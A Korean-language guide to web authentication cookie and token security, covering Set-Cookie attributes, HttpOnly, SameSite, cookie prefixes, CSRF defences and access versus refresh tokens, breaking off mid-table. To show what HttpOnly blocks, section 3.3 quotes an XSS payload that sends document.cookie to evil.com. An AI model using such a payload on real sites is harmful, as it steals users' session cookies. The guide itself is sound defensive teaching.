웹 인증 토큰과 쿠키 보안 완전 가이드
TL;DR
- 웹 인증은 토큰과 쿠키의 저장·전송 전략이 보안을 좌우한다.
- HttpOnly/SameSite 설정과 회전 정책이 XSS·CSRF 위험을 줄인다.
- BFF, DPoP 같은 최신 패턴이 토큰 남용을 방지한다.
1. 개념
웹 인증은 액세스·리프레시 토큰과 쿠키 속성으로 세션을 보호하는 방법이다.
2. 배경
SPA와 API 중심 구조가 확대되며 저장 위치와 전송 방식의 안전성이 중요해졌다.
3. 이유
XSS·CSRF·토큰 탈취를 막고 재발급 흐름을 안정화해야 한다.
4. 특징
Set-Cookie 속성, 토큰 회전, BFF, DPoP, 최신 트렌드를 포괄한다.
5. 상세 내용
웹 인증 토큰과 쿠키 보안 완전 가이드
작성일: 2026-03-05 범위: Login → Access Token / Refresh Token → HttpOnly Cookie → Set-Cookie → 저장 전략 → BFF 패턴 → DPoP → 대기업 구현 사례 → 2025-2026 트렌드 포함 내용: HttpOnly, Set-Cookie, SameSite, CSRF, XSS, JWT, Access Token, Refresh Token, Bearer Token, Opaque Token, PKCE, DPoP, BFF, FedCM, GNAP, mTLS, CHIPS, WebAuthn, Passkey, FIDO2, Token Rotation, Token Family, Proof-of-Possession, Sender-Constrained Token, OWASP, Zero Trust
목차
- 용어 사전
- Set-Cookie 헤더 완전 분석
- HttpOnly 쿠키 심층 분석
- Access Token vs Refresh Token
- 토큰 저장 전략 비교
- Refresh Token Rotation과 재사용 탐지
- BFF (Backend-for-Frontend) 패턴
- OAuth 2.0 DPoP (Proof-of-Possession)
- 대기업 인증 구현 사례
- 2025-2026 인증 트렌드
- OWASP 권장사항
- 실전 아키텍처 결정 가이드
- 키워드 색인
1. 용어 사전
┌──────────────────────────────────────────────────────────────────────────────┐
│ 웹 인증 핵심 용어 사전 │
├────────────────────┬───────────────────────────┬─────────────────────────────┤
│ 영문 용어 │ 한국어 의미 │ 유래 / 비고 │
├────────────────────┼───────────────────────────┼─────────────────────────────┤
│ HttpOnly │ JS 접근 차단 쿠키 속성 │ MS IE6 SP1 (2002) 최초 도입 │
│ Set-Cookie │ 서버→브라우저 쿠키 설정 │ RFC 2109 (1997) 최초 정의 │
│ SameSite │ 동일 사이트 쿠키 전송 제한 │ Chrome 51 (2016) 최초 구현 │
│ CSRF │ 사이트 간 요청 위조 │ Cross-Site Request Forgery │
│ XSS │ 사이트 간 스크립트 삽입 │ Cross-Site Scripting │
│ JWT │ JSON 웹 토큰 │ RFC 7519 (2015) │
│ Access Token │ 리소스 접근용 단기 토큰 │ OAuth 2.0 RFC 6749 │
│ Refresh Token │ AT 재발급용 장기 토큰 │ OAuth 2.0 RFC 6749 │
│ Bearer Token │ 소지자 인증 토큰 │ "소지한 자가 곧 인증자" │
│ Opaque Token │ 의미 없는 랜덤 문자열 토큰 │ 서버 측 조회 필수 │
│ PKCE │ 코드 교환 증명 키 │ Proof Key for Code Exchange │
│ DPoP │ 소유 증명 (토큰 바인딩) │ Demonstration of PoP │
│ BFF │ 프론트엔드 전용 백엔드 │ Backend-for-Frontend │
│ FedCM │ 연합 자격 증명 관리 API │ Federated Credential Mgmt │
│ GNAP │ 차세대 인가 프로토콜 │ Grant Negotiation & AuthZ │
│ mTLS │ 상호 TLS 인증 │ mutual TLS │
│ CHIPS │ 독립 파티션 쿠키 │ Cookies Having Independent │
│ │ │ Partitioned State │
│ WebAuthn │ 웹 인증 API │ Web Authentication API │
│ Passkey │ 패스키 (비밀번호 대체) │ FIDO Alliance 브랜드명 │
│ FIDO2 │ 생체/하드웨어 인증 표준 │ Fast IDentity Online 2 │
│ Token Rotation │ 토큰 순환 (일회용 RT) │ 사용 시 새 RT 발급 │
│ Token Family │ 토큰 가족 (계보 추적) │ 동일 세션 RT 그룹 │
│ Session Fixation │ 세션 고정 공격 │ 공격자가 세션 ID 미리 설정 │
│ Proof-of-Possession│ 소유 증명 │ 토큰과 키 쌍의 암호학적 결합 │
│ Sender-Constrained │ 발신자 제한 토큰 │ 특정 클라이언트만 사용 가능 │
│ Token │ │ │
│ eTLD+1 │ 유효 최상위 도메인 +1 │ effective TLD + 1 label │
│ Public Suffix List │ 공개 접미사 목록 │ Mozilla 관리 도메인 목록 │
└────────────────────┴───────────────────────────┴─────────────────────────────┘
2. Set-Cookie 헤더 완전 분석
2.1 Set-Cookie 문법 전체 구조
┌─────────────────────────────────────────────────────────────────────────────┐
│ Set-Cookie 헤더 완전한 문법 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Set-Cookie: <name>=<value> │
│ [; Expires=<date>] │
│ [; Max-Age=<seconds>] │
│ [; Domain=<domain>] │
│ [; Path=<path>] │
│ [; Secure] │
│ [; HttpOnly] │
│ [; SameSite=Strict|Lax|None] │
│ [; Partitioned] │
│ │
│ 예시: │
│ Set-Cookie: __Host-Http-SID=abc123; │
│ Max-Age=3600; │
│ Path=/; │
│ Secure; │
│ HttpOnly; │
│ SameSite=Strict │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
2.2 각 속성 상세 설명
Name=Value (필수)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Name=Value │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - 유일한 필수 속성 │
│ - Name: 제어 문자, 공백, 세미콜론, 등호 사용 불가 │
│ - Value: 쌍따옴표로 감쌀 수 있음, 세미콜론/공백 포함 불가 │
│ │
│ ⚠️ 보안 주의: │
│ - 이름에 민감 정보 넣지 말 것 (쿠키 이름은 항상 노출) │
│ - 값은 URL 인코딩 권장 (특수 문자 안전 처리) │
│ - 최대 크기: 이름+값 합쳐서 4096 바이트 (브라우저 제한) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Expires vs Max-Age
┌─────────────────────────────────────────────────────────────────────────────┐
│ Expires vs Max-Age │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Expires: │
│ ├── 절대 시간 (GMT 형식): Thu, 01 Jan 2099 00:00:00 GMT │
│ ├── 클라이언트 시계 기준 → 시계 오차(clock skew) 문제 발생 가능 │
│ └── HTTP/1.0 시절부터 사용된 레거시 방식 │
│ │
│ Max-Age: │
│ ├── 상대 시간 (초 단위): Max-Age=3600 (1시간) │
│ ├── 쿠키 수신 시점부터 카운트다운 → 시계 오차 없음 │
│ ├── Max-Age=0 → 즉시 삭제 │
│ └── HTTP/1.1 (RFC 6265) 권장 방식 │
│ │
│ ⚡ 권장: Max-Age 사용 │
│ ├── 시계 오차 문제 없음 │
│ ├── 의미가 명확함 (3600초 = 1시간) │
│ └── 둘 다 있으면 Max-Age가 우선 (RFC 6265 Section 5.3) │
│ │
│ 둘 다 없으면? → Session Cookie (브라우저 닫으면 삭제) │
│ ⚠️ 단, 현대 브라우저의 "세션 복원" 기능이 세션 쿠키를 유지할 수 있음 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Domain 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Domain 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 생략한 경우 (권장): │
│ ├── Host-Only Cookie → 정확히 해당 호스트만 전송 │
│ ├── www.example.com 이 설정 → api.example.com 에 전송 안됨 │
│ └── 가장 안전한 방식 │
│ │
│ 명시한 경우: │
│ ├── Domain=example.com → example.com 및 모든 서브도메인에 전송 │
│ ├── www.example.com, api.example.com, evil.example.com 모두 수신 │
│ └── 서브도메인 중 하나라도 침해되면 쿠키 탈취 가능 │
│ │
│ ⚠️ 보안 규칙: │
│ - Public Suffix (co.kr, github.io 등)에는 Domain 설정 불가 │
│ - 상위 도메인에 대해 설정 불가 (sub.example.com이 example.com 설정 불가) │
│ - __Host- 접두사 쿠키는 Domain 속성 설정 자체가 금지 │
│ │
│ 예시: │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Set-Cookie: sid=abc │ │
│ │ → Host-Only: www.example.com 에서만 전송 │ │
│ │ │ │
│ │ Set-Cookie: sid=abc; Domain=example.com │ │
│ │ → *.example.com 모든 서브도메인에 전송 │ │
│ └───────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Path 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Path 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - Path=/api → /api, /api/users, /api/v2/data 등에만 전송 │
│ - 기본값: 현재 요청 URL의 디렉토리 경로 │
│ │
│ ⚠️ Path는 보안 경계가 아님! │
│ ├── 같은 Origin의 JS는 어떤 Path의 쿠키든 접근 가능 │
│ ├── iframe + document.cookie 로 우회 가능 │
│ └── 보안 목적으로 의존하면 안됨 — 편의성 용도로만 사용 │
│ │
│ 권장: Path=/ (루트)로 설정하고 보안은 다른 속성에 의존 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Secure 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Secure 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - HTTPS 연결에서만 쿠키 전송 │
│ - HTTP 요청에는 쿠키가 포함되지 않음 │
│ - 예외: localhost는 HTTP에서도 Secure 쿠키 설정/전송 가능 (개발 편의) │
│ │
│ ⚡ 프로덕션에서는 반드시 설정할 것 │
│ - Secure 없이 HTTP로 전송되면 네트워크 스니핑으로 토큰 탈취 가능 │
│ - HSTS와 함께 사용하면 다운그레이드 공격도 방어 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
HttpOnly 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ HttpOnly 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - document.cookie API에서 해당 쿠키를 숨김 │
│ - JavaScript로 읽기/쓰기/삭제 불가 │
│ - HTTP 요청(fetch, XHR)의 Cookie 헤더에는 자동 포함 │
│ │
│ 동작 원리: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ 서버 응답: │ │
│ │ Set-Cookie: token=abc; HttpOnly │ │
│ │ Set-Cookie: theme=dark │ │
│ │ │ │
│ │ 브라우저 JS 실행: │ │
│ │ console.log(document.cookie) │ │
│ │ // 출력: "theme=dark" (token은 보이지 않음!) │ │
│ │ │ │
│ │ fetch('/api/data', { credentials: 'include' }) │ │
│ │ // 요청 헤더: Cookie: token=abc; theme=dark │ │
│ │ // (HttpOnly 쿠키도 자동 전송됨) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ → 3장에서 심층 분석 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
SameSite 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ SameSite 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┬─────────────────────────────────────────────────────────┐ │
│ │ 값 │ 동작 │ │
│ ├──────────┼─────────────────────────────────────────────────────────┤ │
│ │ Strict │ 동일 사이트 요청에서만 전송 │ │
│ │ │ 외부 링크 클릭으로 진입해도 쿠키 미전송 │ │
│ │ │ → 최고 보안, 하지만 UX 불편 (외부 링크 진입 시 로그아웃) │ │
│ ├──────────┼─────────────────────────────────────────────────────────┤ │
│ │ Lax │ 안전한 Top-Level Navigation에서만 전송 │ │
│ │ (기본값) │ GET 링크 클릭 시 전송, POST/iframe/fetch 시 미전송 │ │
│ │ │ → Chrome 80+ 기본값, 실용적 보안/UX 균형 │ │
│ ├──────────┼─────────────────────────────────────────────────────────┤ │
│ │ None │ 모든 크로스 사이트 요청에서 전송 │ │
│ │ │ 반드시 Secure 속성 필수 │ │
│ │ │ → 서드파티 임베드, 위젯 등에 사용 │ │
│ └──────────┴─────────────────────────────────────────────────────────┘ │
│ │
│ ⚠️ Chrome 80 이전: 기본값이 None (모든 크로스사이트 요청에 전송) │
│ ⚡ Chrome 80 이후 (2020.02): 기본값이 Lax로 변경 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Partitioned (CHIPS) 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Partitioned (CHIPS - Cookies Having Independent Partitioned State) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 서드파티 쿠키가 각 Top-Level Site별로 격리되어 저장 │
│ │
│ 기존 (파티션 없음): │
│ ┌────────────────┐ ┌────────────────┐ │
│ │ site-a.com │ │ site-b.com │ │
│ │ (embed.io) │ │ (embed.io) │ │
│ └───────┬────────┘ └───────┬────────┘ │
│ │ │ │
│ └──────┬────────────┘ │
│ ▼ │
│ embed.io 쿠키: sid=xyz ← 동일 쿠키, 사이트 간 추적 가능 │
│ │
│ CHIPS 적용 후: │
│ ┌────────────────┐ ┌────────────────┐ │
│ │ site-a.com │ │ site-b.com │ │
│ │ (embed.io) │ │ (embed.io) │ │
│ └───────┬────────┘ └───────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ [site-a.com, embed.io] [site-b.com, embed.io] │
│ sid=abc sid=xyz ← 파티션별 별도 쿠키, 추적 불가 │
│ │
│ 사용법: │
│ Set-Cookie: __Host-embed=abc; SameSite=None; Secure; Path=/; Partitioned │
│ │
│ 요구사항: SameSite=None + Secure + __Host- 접두사 권장 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
2.3 쿠키 이름 접두사 (Cookie Name Prefixes)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 쿠키 이름 접두사 시스템 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. __Secure- 접두사 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure 속성 필수 │ │
│ │ 예시: __Secure-SESSIONID=abc; Secure; HttpOnly; SameSite=Lax │ │
│ │ 용도: HTTPS에서만 전송됨을 보장 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 2. __Host- 접두사 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure 필수 + Domain 생략 + Path=/ │ │
│ │ 예시: __Host-SESSIONID=abc; Secure; HttpOnly; Path=/ │ │
│ │ 효과: Host-Only (서브도메인 전송 불가) + 루트 경로 고정 │ │
│ │ 용도: Cookie Tossing 공격 방어 (서브도메인에서 쿠키 덮어쓰기 불가) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 3. __Http- 접두사 (NEW - Chrome 140+, 2025) │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure + HttpOnly 필수 │ │
│ │ 예시: __Http-TOKEN=abc; Secure; HttpOnly; SameSite=Strict │ │
│ │ 효과: JS 접근 차단이 이름 수준에서 보장됨 │ │
│ │ 용도: HttpOnly 누락 실수를 이름 접두사로 강제 방지 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 4. __Host-Http- 접두사 (NEW - 2025, 최대 보안) │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure + HttpOnly + Domain 생략 + Path=/ │ │
│ │ 예시: __Host-Http-SID=abc; Secure; HttpOnly; Path=/; │ │
│ │ SameSite=Strict │ │
│ │ 효과: Host-Only + JS 차단 + HTTPS 전용 + 루트 경로 고정 │ │
│ │ 용도: 2025 기준 가장 강력한 쿠키 보안 계약 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 보안 수준 비교: │
│ __Host-Http- > __Host- > __Http- > __Secure- > (접두사 없음) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
2.4 용도별 Set-Cookie 권장 설정
# 최대 보안 세션 쿠키 (단일 도메인, 2025 최신)
Set-Cookie: __Host-Http-SESSIONID=abc123; Max-Age=3600; Path=/; Secure; HttpOnly; SameSite=Strict
# 멀티 서브도메인 세션 (www + api + admin 공유)
Set-Cookie: __Secure-SESSIONID=abc123; Max-Age=2592000; Domain=example.org; Path=/; Secure; HttpOnly; SameSite=Lax
# Refresh Token 전용 쿠키
Set-Cookie: __Host-Http-RT=opaque_token_xyz; Max-Age=604800; Path=/auth/refresh; Secure; HttpOnly; SameSite=Strict
# 서드파티 임베드용 (CHIPS)
Set-Cookie: __Host-embed=abc123; SameSite=None; Secure; Path=/; Partitioned
# CSRF 토큰 (JS에서 읽어야 하므로 HttpOnly 없음)
Set-Cookie: __Secure-XSRF-TOKEN=csrf_abc; Max-Age=3600; Path=/; Secure; SameSite=Lax
2.5 RFC 역사
┌─────────────────────────────────────────────────────────────────────────────┐
│ Set-Cookie RFC 변천사 │
├──────────┬──────────────────────────────────────────────────────────────────┤
│ 연도 │ 표준 │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 1994 │ Netscape 쿠키 스펙 (비표준, 사실상 최초 구현) │
│ 1997 │ RFC 2109 - HTTP State Management Mechanism │
│ │ └── Set-Cookie2 제안 (실패, 브라우저 미구현) │
│ 2000 │ RFC 2965 - HTTP State Management Mechanism (개정) │
│ │ └── 역시 Set-Cookie2, 실패 │
│ 2011 │ RFC 6265 - HTTP State Management Mechanism (현행) │
│ │ └── Netscape 스펙을 공식화, Set-Cookie 표준화 │
│ 2016 │ SameSite 속성 Chrome 51 최초 구현 │
│ 2020 │ Chrome 80: SameSite=Lax 기본값 │
│ 2024 │ CHIPS (Partitioned) Chrome 안정 채널 출시 │
│ 2025.12 │ draft-ietf-httpbis-rfc6265bis-22 │
│ │ └── RFC 6265 후속, SameSite/Prefix/__Http- 공식화 진행 중 │
└──────────┴──────────────────────────────────────────────────────────────────┘
3. HttpOnly 쿠키 심층 분석
3.1 역사와 배경
┌─────────────────────────────────────────────────────────────────────────────┐
│ HttpOnly 쿠키의 탄생 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2002년: Microsoft Internet Explorer 6 SP1 │
│ ├── XSS를 통한 세션 하이재킹이 심각한 문제로 대두 │
│ ├── MS가 독자적으로 HttpOnly 플래그 도입 │
│ ├── document.cookie에서 해당 쿠키를 숨기는 단순한 아이디어 │
│ └── 다른 브라우저들이 점차 채택 │
│ │
│ 2011년: RFC 6265에 공식 표준화 │
│ ├── Section 5.2.6: HttpOnly 속성 정의 │
│ ├── "non-HTTP API"에서의 접근을 제한 │
│ └── 사실상 모든 현대 브라우저에서 지원 │
│ │
│ 타임라인: │
│ 2002 ──── 2006 ──── 2009 ──── 2011 ──── 2020 ──── 2025 │
│ │ │ │ │ │ │ │
│ IE6 Firefox Chrome RFC SameSite __Http- │
│ SP1 지원 지원 6265 기본 Lax 접두사 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
3.2 브라우저 적용 메커니즘
// 서버 응답 헤더
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// Set-Cookie: theme=dark
// Set-Cookie: lang=ko
// 브라우저 내부 쿠키 저장소 (개념적 구조)
// ┌──────────────┬──────────────┬──────────┐
// │ Name │ Value │ HttpOnly │
// ├──────────────┼──────────────┼──────────┤
// │ sessionId │ abc123 │ true │ ← JS 접근 차단
// │ theme │ dark │ false │ ← JS 접근 허용
// │ lang │ ko │ false │ ← JS 접근 허용
// └──────────────┴──────────────┴──────────┘
// JavaScript에서의 동작
console.log(document.cookie);
// 출력: "theme=dark; lang=ko"
// → sessionId는 보이지 않음!
// 쿠키 설정 시도
document.cookie = "sessionId=hacked";
// → 새로운 sessionId 쿠키가 생성되지만,
// HttpOnly sessionId와는 별개 (서버에서 HttpOnly 플래그로 구분)
// HTTP 요청 시
fetch('/api/profile', { credentials: 'same-origin' });
// 요청 헤더: Cookie: sessionId=abc123; theme=dark; lang=ko
// → HttpOnly 쿠키도 자동으로 포함됨
3.3 HttpOnly가 보호하는 것과 보호하지 못하는 것
┌─────────────────────────────────────────────────────────────────────────────┐
│ HttpOnly의 보호 범위 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ✅ 보호하는 것: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. XSS를 통한 세션 토큰 탈취 │ │
│ │ 공격자가 <script>fetch('//evil.com?c='+document.cookie)</script>│ │
│ │ 를 삽입해도 HttpOnly 쿠키는 읽히지 않음 │ │
│ │ │ │
│ │ 2. 악성 브라우저 확장의 document.cookie 접근 │ │
│ │ (단, 확장의 권한이 높으면 우회 가능) │ │
│ │ │ │
│ │ 3. Third-Party 스크립트(광고, 분석 등)의 쿠키 접근 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ ❌ 보호하지 못하는 것: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. XSS 실행 자체 │ │
│ │ → 토큰 못 훔쳐도 authenticated fetch로 API 호출 가능 │ │
│ │ → 페이지 변조, 키로거 삽입, 피싱 UI 렌더링 가능 │ │
│ │ │ │
│ │ 2. CSRF (Cross-Site Request Forgery) │ │
│ │ → HttpOnly 쿠키도 자동 전송됨 → SameSite로 별도 방어 필요 │ │
│ │ │ │
│ │ 3. 네트워크 스니핑 (MITM) │ │
│ │ → HTTP 전송 시 Cookie 헤더에 평문 노출 → Secure 속성 필수 │ │
│ │ │ │
│ │ 4. 서버 사이드 취약점 (SQL Injection, SSRF 등) │ │
│ │ → HttpOnly는 클라이언트 측 방어만 담당 │ │
│ │ │ │
│ │ 5. 브라우저 취약점 / 물리적 접근 │ │
│ │ → 쿠키 저장소 직접 접근 가능 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 핵심 교훈: │
│ HttpOnly는 "심층 방어(Defense in Depth)"의 한 레이어일 뿐 │
│ XSS 방어의 핵심은 입력 검증 + 출력 인코딩 + CSP │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
3.4 SameSite 진화 과정
┌─────────────────────────────────────────────────────────────────────────────┐
│ SameSite 속성 진화 타임라인 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Chrome 51 (2016.04): │
│ └── SameSite 속성 최초 구현, 기본값은 None │
│ │
│ Chrome 76 (2019.07): │
│ └── SameSite=None에 Secure 필수 요구 시작 │
│ │
│ Chrome 80 (2020.02): ⚡ 중대 변경점 │
│ ├── 기본값 None → Lax로 변경 │
│ ├── SameSite 미설정 쿠키는 Lax로 동작 │
│ └── 120초 Lax+POST 유예 기간 도입 (아래 설명) │
│ │
│ Chrome 86 (2020.10): │
│ └── Schemeful Same-Site 도입 │
│ http://example.com ≠ https://example.com (다른 사이트 취급) │
│ │
│ Chrome 118 (2023.10): │
│ └── CHIPS (Partitioned 쿠키) 안정화 │
│ │
│ Chrome 131 (2024.11): │
│ └── 서드파티 쿠키 제한 정책 조정 │
│ │
│ Chrome 140+ (2025): │
│ └── __Http- 쿠키 접두사 도입 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
120초 Lax+POST 유예 기간 (보안 갭)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Lax+POST 유예 기간 문제 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Chrome 80에서 기본값을 Lax로 바꾸면서 호환성 문제 발생: │
│ - SSO 로그인 후 POST redirect가 쿠키 없이 도착 → 로그인 실패 │
│ - 결제 콜백(POST)이 쿠키 없이 도착 → 결제 완료 실패 │
│ │
│ 해결책: 쿠키 생성 후 120초(2분) 동안은 Lax여도 POST에 전송 │
│ │
│ 공격 시나리오: │
│ 1. 피해자가 사이트에 로그인 (세션 쿠키 생성) │
│ 2. 120초 내에 공격자 사이트 방문 │
│ 3. 공격자가 자동 POST form 제출 │
│ 4. 세션 쿠키가 전송됨 → CSRF 성공! │
│ │
│ ⚠️ 이것이 SameSite=Lax만으로 CSRF 방어가 불완전한 이유 │
│ 권장: 중요 작업에는 SameSite=Strict 또는 추가 CSRF 토큰 사용 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Schemeful Same-Site
┌─────────────────────────────────────────────────────────────────────────────┐
│ Schemeful Same-Site (2021~) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 이전: http://example.com == https://example.com (같은 사이트) │
│ 이후: http://example.com ≠ https://example.com (다른 사이트!) │
│ │
│ → HTTP 페이지에서 HTTPS API로의 요청은 크로스사이트로 취급 │
│ → SameSite=Lax 쿠키가 전송되지 않음 │
│ → 모든 것을 HTTPS로 통일해야 하는 추가 이유 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
eTLD+1 정의와 Same-Site 판단
┌─────────────────────────────────────────────────────────────────────────────┐
│ eTLD+1 = effective Top-Level Domain + 1 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ eTLD(effective TLD)는 Public Suffix List(PSL)로 결정: │
│ https://publicsuffix.org/list/ │
│ │
│ ┌──────────────────────────┬────────┬──────────────────┐ │
│ │ URL │ eTLD │ eTLD+1 │ │
│ ├──────────────────────────┼────────┼──────────────────┤ │
│ │ www.example.com │ .com │ example.com │ │
│ │ api.example.com │ .com │ example.com │ │
│ │ shop.example.co.kr │ .co.kr │ example.co.kr │ │
│ │ user1.github.io │ .github.io │ user1.github.io│ │
│ │ user2.github.io │ .github.io │ user2.github.io│ │
│ └──────────────────────────┴────────┴──────────────────┘ │
│ │
│ Same-Site 판단: eTLD+1이 같으면 Same-Site │
│ ├── www.example.com ↔ api.example.com → Same-Site (둘 다 example.com) │
│ ├── user1.github.io ↔ user2.github.io → Cross-Site! │
│ │ (github.io가 PSL에 등록되어 있어 각각 독립 eTLD+1) │
│ └── example.com ↔ example.org → Cross-Site (다른 eTLD+1) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
3.5 CSRF 방어 비교 테이블
┌─────────────────────────────────────────────────────────────────────────────┐
│ SameSite 값별 CSRF 공격 벡터 차단 비교 │
├───────────────────┬──────────┬──────────┬──────────┬────────────────────────┤
│ 공격 벡터 │ Strict │ Lax │ None │ 설명 │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <a href> 클릭 │ ❌ 차단 │ ✅ 전송 │ ✅ 전송 │ Top-level GET nav │
│ (GET 네비게이션) │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <form method=POST>│ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ Cross-site POST │
│ 자동 제출 │ │ (주1) │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ fetch / XHR │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ JS 기반 크로스 요청 │
│ (credentials) │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <img src> │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ Sub-resource 요청 │
│ <script src> │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <iframe> │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ 임베드 요청 │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ window.open + │ ❌ 차단 │ ✅ 전송 │ ✅ 전송 │ Popup GET nav │
│ GET 네비게이션 │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ 302 Redirect POST │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ POST redirect │
│ │ │ (주1) │ │ │
├───────────────────┴──────────┴──────────┴──────────┴────────────────────────┤
│ │
│ (주1) Lax의 120초 유예 기간 내에는 POST도 전송됨 → 완전하지 않은 방어 │
│ │
│ 결론: │
│ - SameSite=Strict: CSRF 완벽 차단, 하지만 외부 링크 진입 시 로그아웃 UX │
│ - SameSite=Lax: 대부분 차단, 120초 유예 갭 존재 │
│ - SameSite=None: CSRF 방어 없음, 별도 CSRF 토큰 필수 │
│ │
│ ⚡ 권장: SameSite=Strict (민감 작업) + SameSite=Lax (일반 세션) │
│ + Custom Header 검증 (이중 방어) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
4. Access Token vs Refresh Token
4.1 핵심 비교
┌─────────────────────────────────────────────────────────────────────────────┐
│ Access Token vs Refresh Token 비교 │
├──────────────────┬──────────────────────┬───────────────────────────────────┤
│ 항목 │ Access Token (AT) │ Refresh Token (RT) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 목적 │ API 리소스 접근 │ 새 AT 발급 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 일반적 수명 │ 5~15분 (2025 권장) │ 7~30일 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 검증 주체 │ Resource Server │ Authorization Server만 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 즉시 폐기 가능? │ JWT: 불가 (만료 대기)│ 가능 (서버 DB에서 삭제) │
│ │ Opaque: 가능 │ │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 전송 대상 │ 모든 API 서버 │ 토큰 엔드포인트만 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 권장 형식 (2025) │ 단기 JWT │ Opaque (서버 사이드 저장) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 포함 정보 │ scope, sub, aud 등 │ 없음 (식별자만) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 탈취 시 영향 │ 제한적 (짧은 수명) │ 심각 (장기 접근 가능) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 보안 핵심 원칙 │ 수명을 극도로 짧게 │ 안전한 저장 + Rotation │
└──────────────────┴──────────────────────┴───────────────────────────────────┘
4.2 JWT vs Opaque Token
┌─────────────────────────────────────────────────────────────────────────────┐
│ JWT vs Opaque Token 비교 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ JWT (JSON Web Token): │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ - 자체 포함(Self-Contained): 토큰 안에 사용자 정보 포함 │ │
│ │ - 로컬 검증: 서명만 확인하면 됨, DB 조회 불필요 │ │
│ │ - 즉시 폐기 불가: 만료 전까지 유효 (블랙리스트 구현 시 가능) │ │
│ │ - Base64 디코딩으로 내용 열람 가능 (서명만 보호, 암호화 아님) │ │
│ │ - 크기가 큼: 일반적으로 800-2000 바이트 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Opaque Token: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
